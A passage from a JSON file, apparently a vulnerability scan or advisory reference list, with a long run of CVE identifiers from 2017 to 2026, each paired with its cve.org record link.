        {
          "name": "CVE-2026-114137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114137"
        },
        {
          "name": "CVE-2026-55092",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55092"
        },
        {
          "name": "CVE-2026-112898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
        },
        {
          "name": "CVE-2026-12480",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12480"
        },
        {
          "name": "CVE-2026-68495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68495"
        },
        {
          "name": "CVE-2026-70035",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70035"
        },
        {
          "name": "CVE-2026-7774",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
        },
        {
          "name": "CVE-2025-22868",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
        },
        {
          "name": "CVE-2026-42010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
        },
        {
          "name": "CVE-2026-62290",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62290"
        },
        {
          "name": "CVE-2026-5435",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
        },
        {
          "name": "CVE-2026-42506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42506"
        },
        {
          "name": "CVE-2026-77762",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
        },
        {
          "name": "CVE-2026-93566",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
        },
        {
          "name": "CVE-2026-34479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
        },
        {
          "name": "CVE-2026-40553",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40553"
        },
        {
          "name": "CVE-2026-76641",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76641"
        },
        {
          "name": "CVE-2025-3360",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
        },
        {
          "name": "CVE-2026-22796",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
        },
        {
          "name": "CVE-2026-80225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80225"
        },
        {
          "name": "CVE-2026-74049",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74049"
        },
        {
          "name": "CVE-2026-77408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77408"
        },
        {
          "name": "CVE-2026-48042",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48042"
        },
        {
          "name": "CVE-2019-1010204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-1010204"
        },
        {
          "name": "CVE-2026-4647",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4647"
        },
        {
          "name": "CVE-2026-40226",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40226"
        },
        {
          "name": "CVE-2025-61724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
        },
        {
          "name": "CVE-2026-44973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44973"
        },
        {
          "name": "CVE-2026-78383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
        },
        {
          "name": "CVE-2026-114437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114437"
        },
        {
          "name": "CVE-2026-70463",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70463"
        },
        {
          "name": "CVE-2019-9193",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-9193"
        },
        {
          "name": "CVE-2026-48961",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48961"
        },
        {
          "name": "CVE-2026-112942",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112942"
        },
        {
          "name": "CVE-2026-112399",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
        },
        {
          "name": "CVE-2026-95184",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95184"
        },
        {
          "name": "CVE-2026-3219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
        },
        {
          "name": "CVE-2024-7348",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-7348"
        },
        {
          "name": "CVE-2026-42013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
        },
        {
          "name": "CVE-2026-11824",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
        },
        {
          "name": "CVE-2026-3832",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3832"
        },
        {
          "name": "CVE-2026-44605",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44605"
        },
        {
          "name": "CVE-2026-2303",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
        },
        {
          "name": "CVE-2026-69243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69243"
        },
        {
          "name": "CVE-2025-61732",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
        },
        {
          "name": "CVE-2025-61723",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
        },
        {
          "name": "CVE-2026-5928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
        },
        {
          "name": "CVE-2024-10976",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10976"
        },
        {
          "name": "CVE-2026-0964",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
        },
        {
          "name": "CVE-2026-113351",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-113351"
        },
        {
          "name": "CVE-2026-114501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
        },
        {
          "name": "CVE-2025-11083",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11083"
        },
        {
          "name": "CVE-2026-116586",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116586"
        },
        {
          "name": "CVE-2023-45803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-45803"
        },
        {
          "name": "CVE-2026-14678",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
        },
        {
          "name": "CVE-2026-23992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23992"
        },
        {
          "name": "CVE-2026-93562",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93562"
        },
        {
          "name": "CVE-2026-27199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
        },
        {
          "name": "CVE-2026-70457",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70457"
        },
        {
          "name": "CVE-2026-71888",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71888"
        },
        {
          "name": "CVE-2026-39831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
        },
        {
          "name": "CVE-2026-86145",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86145"
        },
        {
          "name": "CVE-2026-109125",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-109125"
        },
        {
          "name": "CVE-2026-86350",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
        },
        {
          "name": "CVE-2026-39828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
        },
        {
          "name": "CVE-2026-54787",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54787"
        },
        {
          "name": "CVE-2026-45447",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
        },
        {
          "name": "CVE-2025-8713",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8713"
        },
        {
          "name": "CVE-2024-25620",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-25620"
        },
        {
          "name": "CVE-2026-77955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77955"
        },
        {
          "name": "CVE-2026-8924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8924"
        },
        {
          "name": "CVE-2026-70456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70456"
        },
        {
          "name": "CVE-2021-3826",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3826"
        },
        {
          "name": "CVE-2026-12243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
        },
        {
          "name": "CVE-2025-6170",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
        },
        {
          "name": "CVE-2026-92391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
        },
        {
          "name": "CVE-2026-78409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78409"
        },
        {
          "name": "CVE-2026-70460",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70460"
        },
        {
          "name": "CVE-2026-101896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101896"
        },
        {
          "name": "CVE-2026-15003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15003"
        },
        {
          "name": "CVE-2026-85747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85747"
        },
        {
          "name": "CVE-2025-68146",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68146"
        },
        {
          "name": "CVE-2026-48702",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48702"
        },
        {
          "name": "CVE-2026-25679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
        },
        {
          "name": "CVE-2026-40612",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40612"
        },
        {
          "name": "CVE-2026-117610",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-117610"
        },
        {
          "name": "CVE-2025-14017",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
        },
        {
          "name": "CVE-2026-33811",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
        },
        {
          "name": "CVE-2026-96642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
        },
        {
          "name": "CVE-2024-45337",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
        },
        {
          "name": "CVE-2026-107778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107778"
        },
        {
          "name": "CVE-2025-3730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3730"
        },
        {
          "name": "CVE-2026-39979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39979"
        },
        {
          "name": "CVE-2026-90802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90802"
        },
        {
          "name": "CVE-2026-81726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
        },
        {
          "name": "CVE-2025-13836",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13836"
        },
        {
          "name": "CVE-2026-1229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1229"
        },
        {
          "name": "CVE-2026-101296",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101296"
        },
        {
          "name": "CVE-2026-9079",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9079"
        },
        {
          "name": "CVE-2026-19931",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
        },
        {
          "name": "CVE-2025-61725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
        },
        {
          "name": "CVE-2026-63075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
        },
        {
          "name": "CVE-2026-56407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56407"
        },
        {
          "name": "CVE-2026-25210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25210"
        },
        {
          "name": "CVE-2026-28387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
        },
        {
          "name": "CVE-2026-115557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115557"
        },
        {
          "name": "CVE-2022-42967",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-42967"
        },
        {
          "name": "CVE-2024-52533",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-52533"
        },
        {
          "name": "CVE-2026-102474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102474"
        },
        {
          "name": "CVE-2026-28388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
        },
        {
          "name": "CVE-2026-23991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23991"
        },
        {
          "name": "CVE-2026-118131",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118131"
        },
        {
          "name": "CVE-2025-7039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-7039"
        },
        {
          "name": "CVE-2026-96235",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96235"
        },
        {
          "name": "CVE-2026-50251",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50251"
        },
        {
          "name": "CVE-2026-40192",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40192"
        },
        {
          "name": "CVE-2026-112404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
        },
        {
          "name": "CVE-2026-50020",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
        },
        {
          "name": "CVE-2026-55708",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55708"
        },
        {
          "name": "CVE-2026-25680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
        },
        {
          "name": "CVE-2026-87910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
        },
        {
          "name": "CVE-2026-46384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46384"
        },
        {
          "name": "CVE-2026-91782",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91782"
        },
        {
          "name": "CVE-2020-25695",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-25695"
        },
        {
          "name": "CVE-2026-54512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
        },
        {
          "name": "CVE-2026-39835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
        },
        {
          "name": "CVE-2026-59197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
        },
        {
          "name": "CVE-2026-112895",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
        },
        {
          "name": "CVE-2025-5918",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5918"
        },
        {
          "name": "CVE-2026-6478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
        },
        {
          "name": "CVE-2026-114603",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114603"
        },
        {
          "name": "CVE-2026-33815",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
        },
        {
          "name": "CVE-2026-42578",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
        },
        {
          "name": "CVE-2026-100407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100407"
        },
        {
          "name": "CVE-2026-78683",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78683"
        },
        {
          "name": "CVE-2026-32874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32874"
        },
        {
          "name": "CVE-2025-3263",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3263"
        },
        {
          "name": "CVE-2026-48497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48497"
        },
        {
          "name": "CVE-2025-4878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4878"
        },
        {
          "name": "CVE-2026-65899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
        },
        {
          "name": "CVE-2025-12818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
        },
        {
          "name": "CVE-2025-32990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
        },
        {
          "name": "CVE-2026-78663",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78663"
        },
        {
          "name": "CVE-2026-97031",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97031"
        },
        {
          "name": "CVE-2026-10532",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
        },
        {
          "name": "CVE-2026-112901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
        },
        {
          "name": "CVE-2026-12087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
        },
        {
          "name": "CVE-2026-4519",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4519"
        },
        {
          "name": "CVE-2026-53612",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53612"
        },
        {
          "name": "CVE-2025-3001",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3001"
        },
        {
          "name": "CVE-2026-116585",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116585"
        },
        {
          "name": "CVE-2026-83520",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-83520"
        },
        {
          "name": "CVE-2026-114691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114691"
        },
        {
          "name": "CVE-2025-15366",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
        },
        {
          "name": "CVE-2021-45261",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-45261"
        },
        {
          "name": "CVE-2026-91781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91781"
        },
        {
          "name": "CVE-2026-53493",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53493"
        },
        {
          "name": "CVE-2025-13462",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13462"
        },
        {
          "name": "CVE-2025-4802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4802"
        },
        {
          "name": "CVE-2026-40164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40164"
        },
        {
          "name": "CVE-2026-0990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0990"
        },
        {
          "name": "CVE-2026-55956",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
        },
        {
          "name": "CVE-2026-77410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77410"
        },
        {
          "name": "CVE-2026-54060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
        },
        {
          "name": "CVE-2026-32289",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
        },
        {
          "name": "CVE-2026-0865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0865"
        },
        {
          "name": "CVE-2026-24686",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24686"
        },
        {
          "name": "CVE-2026-18924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
        },
        {
          "name": "CVE-2026-68496",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68496"
        },
        {
          "name": "CVE-2026-97045",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97045"
        },
        {
          "name": "CVE-2026-111750",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111750"
        },
        {
          "name": "CVE-2026-45446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
        },
        {
          "name": "CVE-2026-112893",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
        },
        {
          "name": "CVE-2026-102010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102010"
        },
        {
          "name": "CVE-2026-12570",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12570"
        },
        {
          "name": "CVE-2026-82209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
        },
        {
          "name": "CVE-2026-69244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69244"
        },
        {
          "name": "CVE-2025-66221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
        },
        {
          "name": "CVE-2026-91777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
        },
        {
          "name": "CVE-2026-58011",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
        },
        {
          "name": "CVE-2025-32989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
        },
        {
          "name": "CVE-2026-41506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41506"
        },
        {
          "name": "CVE-2026-15741",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
        },
        {
          "name": "CVE-2025-6051",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6051"
        },
        {
          "name": "CVE-2026-63382",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
        },
        {
          "name": "CVE-2026-4111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4111"
        },
        {
          "name": "CVE-2025-22874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
        },
        {
          "name": "CVE-2026-106453",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106453"
        },
        {
          "name": "CVE-2026-24515",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24515"
        },
        {
          "name": "CVE-2026-14677",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
        },
        {
          "name": "CVE-2025-11495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11495"
        },
        {
          "name": "CVE-2026-118669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118669"
        },
        {
          "name": "CVE-2025-66034",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66034"
        },
        {
          "name": "CVE-2026-104873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104873"
        },
        {
          "name": "CVE-2024-41110",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-41110"
        },
        {
          "name": "CVE-2026-77411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77411"
        },
        {
          "name": "CVE-2026-119375",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119375"
        },
        {
          "name": "CVE-2025-48386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48386"
        },
        {
          "name": "CVE-2026-24117",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24117"
        },
        {
          "name": "CVE-2025-55199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-55199"
        },
        {
          "name": "CVE-2026-109518",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-109518"
        },
        {
          "name": "CVE-2021-23214",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-23214"
        },
        {
          "name": "CVE-2026-45570",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45570"
        },
        {
          "name": "CVE-2026-6475",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
        },
        {
          "name": "CVE-2026-78680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78680"
        },
        {
          "name": "CVE-2025-5025",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5025"
        },
        {
          "name": "CVE-2026-86410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
        },
        {
          "name": "CVE-2026-84304",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
        },
        {
          "name": "CVE-2026-56405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
        },
        {
          "name": "CVE-2026-63076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
        },
        {
          "name": "CVE-2024-34459",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-34459"
        },
        {
          "name": "CVE-2025-49795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49795"
        },
        {
          "name": "CVE-2025-14104",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
        },
        {
          "name": "CVE-2026-103111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103111"
        },
        {
          "name": "CVE-2026-78667",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78667"
        },
        {
          "name": "CVE-2026-34165",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34165"
        },
        {
          "name": "CVE-2026-93749",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93749"
        },
        {
          "name": "CVE-2026-49264",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49264"
        },
        {
          "name": "CVE-2026-6100",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6100"
        },
        {
          "name": "CVE-2026-59083",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
        },
        {
          "name": "CVE-2021-46848",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-46848"
        },
        {
          "name": "CVE-2026-78659",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78659"
        },
        {
          "name": "CVE-2026-32280",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
        },
        {
          "name": "CVE-2026-56411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56411"
        },
        {
          "name": "CVE-2026-50106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50106"
        },
        {
          "name": "CVE-2025-47912",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
        },
        {
          "name": "CVE-2026-16742",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16742"
        },
        {
          "name": "CVE-2026-77404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77404"
        },
        {
          "name": "CVE-2026-70452",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70452"
        },
        {
          "name": "CVE-2026-3276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3276"
        },
        {
          "name": "CVE-2025-11414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11414"
        },
        {
          "name": "CVE-2025-66861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66861"
        },
        {
          "name": "CVE-2026-4438",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4438"
        },
        {
          "name": "CVE-2026-119376",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119376"
        },
        {
          "name": "CVE-2026-58016",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
        },
        {
          "name": "CVE-2026-90831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90831"
        },
        {
          "name": "CVE-2026-63383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
        },
        {
          "name": "CVE-2025-68160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
        },
        {
          "name": "CVE-2026-59888",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
        },
        {
          "name": "CVE-2026-9545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9545"
        },
        {
          "name": "CVE-2026-56866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56866"
        },
        {
          "name": "CVE-2025-2148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2148"
        },
        {
          "name": "CVE-2024-2236",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
        },
        {
          "name": "CVE-2023-4039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-4039"
        },
        {
          "name": "CVE-2026-111751",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111751"
        },
        {
          "name": "CVE-2025-54410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
        },
        {
          "name": "CVE-2026-60001",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
        },
        {
          "name": "CVE-2026-3441",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3441"
        },
        {
          "name": "CVE-2026-56857",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56857"
        },
        {
          "name": "CVE-2026-80229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80229"
        },
        {
          "name": "CVE-2026-86415",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
        },
        {
          "name": "CVE-2026-73194",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73194"
        },
        {
          "name": "CVE-2026-6653",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
        },
        {
          "name": "CVE-2026-50046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50046"
        },
        {
          "name": "CVE-2025-60753",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
        },
        {
          "name": "CVE-2026-42011",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
        },
        {
          "name": "CVE-2026-63312",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63312"
        },
        {
          "name": "CVE-2026-56859",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
        },
        {
          "name": "CVE-2026-14680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
        },
        {
          "name": "CVE-2026-50045",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50045"
        },
        {
          "name": "CVE-2026-77403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77403"
        },
        {
          "name": "CVE-2026-112393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
        },
        {
          "name": "CVE-2026-59898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
        },
        {
          "name": "CVE-2023-50495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-50495"
        },
        {
          "name": "CVE-2017-11164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-11164"
        },
        {
          "name": "CVE-2026-14666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
        },
        {
          "name": "CVE-2026-115506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115506"
        },
        {
          "name": "CVE-2026-63380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63380"
        },
        {
          "name": "CVE-2025-61728",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
        },
        {
          "name": "CVE-2026-112403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
        },
        {
          "name": "CVE-2026-0965",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
        },
        {
          "name": "CVE-2026-112894",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
        },
        {
          "name": "CVE-2026-66422",
